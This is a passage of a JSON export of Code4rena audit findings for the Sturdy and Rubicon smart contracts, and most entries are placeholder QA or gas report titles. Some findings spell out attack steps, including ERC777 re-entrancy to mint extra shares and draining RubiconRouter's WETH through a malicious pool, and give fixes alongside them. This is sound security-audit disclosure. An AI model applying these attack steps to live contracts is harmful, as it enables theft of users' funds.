_convertToStableCoin(assetYields[i].asset, assetYields[i].amount); 133 // 3. deposit Yield to pool for suppliers 134 _depositYield(assetYields[i].asset, _amount); 135 } 136 } ``` https://github.com/code-423n4/2022-05-sturdy/blob/78f51a7a74ebe8adfd055bdbaedfddc05632566f/smart-contracts/YieldManager.sol#L129-L136 ## Tools Used Code inspection ## Recommended Mitigation Steps Include an offset and length as is done in `YieldManager.distributeYield()` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/69", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/68", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/67", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/66", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/64", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/63", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Possible lost msg.value", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/62", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-sturdy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-sturdy/blob/78f51a7a74ebe8adfd055bdbaedfddc05632566f/smart-contracts/GeneralVault.sol#L75-L89 https://github.com/code-423n4/2022-05-sturdy/blob/78f51a7a74ebe8adfd055bdbaedfddc05632566f/smart-contracts/LidoVault.sol#L79-L104 https://github.com/code-423n4/2022-05-sturdy/blob/78f51a7a74ebe8adfd055bdbaedfddc05632566f/smart-contracts/ConvexCurveLPVault.sol#L131-L149 # Vulnerability details ## Impact Possible lost value in `depositCollateral` function call ## Proof of Concept In call `depositCollateral` can will send value and the asset can be an ERC20(!= address(0)), if `LidoVault` and `ConvexCurveLPVault` contract receive this call the fouds will lost Also in **LidoVault, L88**, if send as asset ETH(== address(0)) and send more value than `_amount`(msg.value > _amount), the exedent will lost ## Recommended Mitigation Steps In **GeneralVault**, `depositCollateral` function: - Check if the `msg.value` is zero when the `_asset` is ERC20(!= address(0)) - Check if the `msg.value` is equeal to `_amount` when the `_asset` ETH(== address(0)) ```solidity function depositCollateral(address _asset, uint256 _amount) external payable virtual { if (_asset != address(0)) { // asset = ERC20 require(msg.value == 0, ); } else { // asset = ETH require(msg.value == _amount, ); } // Deposit asset to vault and receive stAsset // Ex: if user deposit 100ETH, this will deposit 100ETH to Lido and receive 100stETH TODO No Lido (address _stAsset, uint256 _stAssetAmount) = _depositToYieldPool(_asset, _amount); // Deposit stAsset to lendingPool, then user will get aToken of stAsset ILendingPool(_addressesProvider.getLendingPool()).deposit( _stAsset, _stAssetAmount, msg.sender, 0 ); emit DepositCollateral(_asset, msg.sender, _amount); } ``` Also can remove the `require(msg.value > 0, Errors.VT_COLLATERAL_DEPOSIT_REQUIRE_ETH);` in **LidoVault, L88** "}, {"title": "Title: Yield can be unfairly divided because of MEV/Just-in-time stablecoin deposits", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/61", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-sturdy-findings", "body": "Title: Yield can be unfairly divided because of MEV/Just-in-time stablecoin deposits"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/58", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/57", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/55", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/53", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/51", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/50", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/49", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "`UNISWAP_FEE` is hardcoded which will lead to significant losses compared to optimal routing", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/48", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-sturdy-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-sturdy/blob/78f51a7a74ebe8adfd055bdbaedfddc05632566f/smart-contracts/YieldManager.sol#L48 https://github.com/code-423n4/2022-05-sturdy/blob/78f51a7a74ebe8adfd055bdbaedfddc05632566f/smart-contracts/YieldManager.sol#L184 # Vulnerability details ## Impact In [`YieldManager`](https://github.com/code-423n4/2022-05-sturdy/blob/78f51a7a74ebe8adfd055bdbaedfddc05632566f/smart-contracts/YieldManager.sol#L48), `UNISWAP_FEE` is hardcoded, which reduce significantly the possibilities and will lead to non optimal routes. In particular, all swaps using ETH path will use the wrong pool as it will use the ETH / USDC 1% one due to this [line](https://github.com/sturdyfi/code4rena-may-2022/blob/d53f4f5f0b7b33a66e0081294be6117f6d6e17b4/contracts/protocol/libraries/swap/UniswapAdapter.sol#L50).\u2028 ## Proof of Concept For example for CRV / USDC, the optimal route is currently CRV -> ETH and ETH -> USDC, and the pool ETH / USDC with 1% fees is tiny compared to the ones with 0.3 or 0.1%. Therefore using the current implementation would create a significant loss of revenue. ## Recommended Mitigation Steps Basic mitigation would be to hardcode in advance the best Uniswap paths in a mapping like it\u2019s done for Curve pools, then pass this path already computed to the swapping library. This would allow for complex route and save gas costs as you would avoid computing them in `swapExactTokensForTokens`. Then, speaking from experience, as `distributeYield` is `onlyAdmin`, you may want to add the possibility to do the swaps through an efficient aggregator like 1Inch or Paraswap, it will be way more optimal. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/44", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/43", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimization", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/42", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimization"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/41", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimization", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/40", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimization"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/39", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimization", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/38", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimization"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/33", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/31", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/29", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/28", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/24", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/23", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/22", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/21", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/20", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/18", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/17", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/12", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/9", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/8", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/2", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-sturdy-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-sturdy-findings/issues/1", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-sturdy-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/455", "labels": [], "target": "2022-05-rubicon-findings", "body": "Agreements & Disclosures"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/452", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "Early funds withdrawers can get bonus in multiples of vested bonus tokens (e.g. 2-times, 3-times, etc.)", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/450", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L270 https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L629 https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/peripheral_contracts/BathBuddy.sol#L98-L101 # Vulnerability details The function setBonusToken allows the same BonusToken to be added more than once to the array bonusTokens. ``` function setBonusToken(address newBonusERC20) external onlyBathHouse { bonusTokens.push(newBonusERC20); } ``` ## Impact If that happens, early withdrawers can get Bonus in multiples of what they actually have right to. Late withdrawers, might not get any Bonus due to shortage. ## Proof of Concept BathToken.sol, function setBonusToken https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L270-L272 1. function setBonusToken allows the same BonusToken to be added more than once to the array. BathToken.sol, function distributeBonusTokenRewards https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L629 2. a. As and when distributeBonusTokenRewards is triggered during a withdraw call, the same bonusToken will be released more than once. BathBuddy.sol, function release https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/peripheral_contracts/BathBuddy.sol#L98-L101 2. b. The release function is called. ## Tools Used Manual review ## Recommended Mitigation Steps Add the required validations to avoid duplicate additions of bonus tokens. ``` function setBonusToken(address newBonusERC20) external onlyBathHouse { require(newBonusERC20 != address(0), \"invalid_addr\"); if (bonusTokens.length > 0) { for (uint256 index = 0; index < bonusTokens.length; index++) { require (token != newBonusERC20, \"token already exists\") } } bonusTokens.push(newBonusERC20); } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/449", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/447", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/444", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "Multiple Unsafe Arithmetic Operations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/443", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconMarket.sol#L844 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconMarket.sol#L857 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconMarket.sol#L883 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconMarket.sol#L898 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconMarket.sol#L927 https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconMarket.sol#L951 # Vulnerability details ## RMT-02M: Multiple Unsafe Arithmetic Operations | File | Lines | Type | | :- | :- | :- | | RubiconMarket.sol | [L844](https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconMarket.sol#L844), [L857](https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconMarket.sol#L857), [L883](https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconMarket.sol#L883), [L898](https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconMarket.sol#L898), [L927](https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconMarket.sol#L927), [L951](https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconMarket.sol#L951) | Mathematical Operations | ### Description The referenced lines all perform unsafe multiplications using the unitary denominations of either `1 ether` (`1e18`) or `10**9` (`1e9`), both of which can easily lead to overflows when used as a multiplier for large amounts of assets. ### Impact Purchasing and selling amounts will be improperly fulfilled as well as improperly tracked as \"sold out\" / \"bought out\". ### Solution (Recommended Mitigation Steps) We advise the codebase to make use of the `mul` operation exposed by the `DSMath` library already incorporated into the codebase to guarantee all operations are performed safely and cannot overflow. ### PoC Issue is deducible by inspecting the relevant lines referenced in the issue and making note of the raw multiplication (`*`) operations performed. ### Tools Manual inspection of the codebase. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/440", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/439", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/438", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/435", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "RubiconMarketAddress in BathPair can't be updated", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/434", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-rubicon-findings", "body": "RubiconMarketAddress in BathPair can't be updated"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/431", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/430", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/424", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/421", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/420", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/418", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/416", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/414", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/413", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/409", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/406", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/404", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "First depositor can break minting of shares", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/397", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "First depositor can break minting of shares"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/396", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/394", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/392", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/391", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "`BathToken` does not conform to EIP4626 implementation or specification", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/387", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-rubicon-findings", "body": "`BathToken` does not conform to EIP4626 implementation or specification"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/386", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/380", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/379", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "RubiconRouter maxSellAllAmount does not trasnfer user's fund into its address, causing calls to always revert", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/376", "labels": ["bug", "2 (Med Risk)"], "target": "2022-05-rubicon-findings", "body": "RubiconRouter maxSellAllAmount does not trasnfer user's fund into its address, causing calls to always revert"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/366", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/363", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/361", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/360", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/359", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "```withdrawForETH``` could be used to drain the WETH in ```RubiconRouter.sol```", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/356", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code [RubiconRouter.sol#L475-L492](https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L475-L492) # Vulnerability details ## Impact In the ```withdrawForETH``` function in ```RubiconRouter.sol```, the ```targetPool``` may be any contract that implements the ```IBathToken``` interface and returns ```wethAddress``` as its underlying token. The ```withdrawnWETH``` amount could be set to the ```RubiconRouter.sol``` contract's WETH balance so that the contract's entire WETH balance is withdrawn, as long as the ```tagetPool``` does not transfer any WETH to ```RubiconRouter.sol```. The caller of the ```withdrawForETH``` function would then receive the withdraw amount. ## Proof of Concept ``` function withdrawForETH(uint256 shares, address targetPool) external payable returns (uint256 withdrawnWETH) { IERC20 target = IBathToken(targetPool).underlyingToken(); require(target == ERC20(wethAddress), \"target pool not weth pool\"); require( IBathToken(targetPool).balanceOf(msg.sender) >= shares, \"don't own enough shares\" ); IBathToken(targetPool).transferFrom(msg.sender, address(this), shares); withdrawnWETH = IBathToken(targetPool).withdraw(shares); WETH9(wethAddress).withdraw(withdrawnWETH); //Send back withdrawn native eth to sender msg.sender.transfer(withdrawnWETH); } ``` 1. Let ```shares``` be equal to the contracts WETH balance. 2. The malicious ```targetPool``` contract returns the ```wethAddress``` as the underlying token on [line 480](https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L480). 3. ```targetPool``` returns the max uint256 value for its balanceOf function to pass the require condition on [line 483](https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L483) for any value of shares. 4. The transferFrom on [line 486](https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L486) does not have to do anything and its withdraw function should return the WETH balance of ```RubiconRouter.sol```. 5. The ```RubiconRouter.sol``` contract will then [withdraw ETH](https://github.com/code-423n4/2022-05-rubicon/blob/main/contracts/RubiconRouter.sol#L488) equal to the ```withdrawWETH``` amount, which should be equal to the contract's WETH balance. 6. The caller of the ```withdrawForETH``` function receives the withdraw ETH without providing any WETH. ## Recommended Mitigation Steps: Check the contract's WETH balance before the caller is supposed to send the WETH and after the WETH is sent to confirm the contract has received enough WETH from the caller. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/354", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/353", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/351", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "`BathToken.sol#_deposit()` attacker can mint more shares with re-entrancy from hookable tokens", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/350", "labels": ["bug", "duplicate", "3 (High Risk)", "sponsor confirmed"], "target": "2022-05-rubicon-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L557-L568 # Vulnerability details `BathToken.sol#_deposit()` calculates the actual transferred amount by comparing the before and after balance, however, since there is no reentrancy guard on this function, there is a risk of re-entrancy attack to mint more shares. Some token standards, such as ERC777, allow a callback to the source of the funds (the `from` address) before the balances are updated in `transferFrom()`. This callback could be used to re-enter the function and inflate the amount. https://github.com/code-423n4/2022-05-rubicon/blob/8c312a63a91193c6a192a9aab44ff980fbfd7741/contracts/rubiconPools/BathToken.sol#L557-L568 ```solidity function _deposit(uint256 assets, address receiver) internal returns (uint256 shares) { uint256 _pool = underlyingBalance(); uint256 _before = underlyingToken.balanceOf(address(this)); // **Assume caller is depositor** underlyingToken.transferFrom(msg.sender, address(this), assets); uint256 _after = underlyingToken.balanceOf(address(this)); assets = _after.sub(_before); // Additional check for deflationary tokens ... ``` ### PoC With a ERC777 token by using the ERC777TokensSender `tokensToSend` hook to re-enter the `deposit()` function. Given: - `underlyingBalance()`: `100_000e18 XYZ`. - `totalSupply`: `1e18` The attacker can create a contracts with `tokensToSend()` function, then: 1. `deposit(1)` - preBalance = `100_000e18`; - `underlyingToken.transferFrom(msg.sender, address(this), 1)` 2. reenter using `tokensToSend` hook for the 2nd call: `deposit(1_000e18)` - preBalance = `100_000e18`; - `underlyingToken.transferFrom(msg.sender, address(this), 1_000e18)` - postBalance = `101_000e18`; - assets (actualDepositAmount) = `101_000e18 - 100_000e18 = 1_000e18`; - mint `1000` shares; 3. continue with the first `deposit()` call: - `underlyingToken.transferFrom(msg.sender, address(this), 1)` - postBalance = `101_000e18 + 1`; - assets (actualDepositAmount) = `(101_000e18 + 1) - 100_000e18 = 1_000e18 + 1`; - mint `1000` shares; As a result, with only `1 + 1_000e18` transferred to the contract, the attacker minted `2_000e18 XYZ` worth of shares. ### Recommendation Consider adding `nonReentrant` modifier from OZ's `ReentrancyGuard`. "}, {"title": "BathToken stake holders may not be able to `withdraw` as `outstandingAmount` can not be liquidated permissionless", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/348", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-rubicon-findings", "body": "BathToken stake holders may not be able to `withdraw` as `outstandingAmount` can not be liquidated permissionless"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/347", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-rubicon-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/345", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-rubicon-findings", "body": "QA Report"}, {"title": "Centralization risk - admin has too much control over protocol.", "html_url": "https://github.com/code-423n4/2022-05-rubicon-findings/issues/344", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-rubicon-findings", "body": 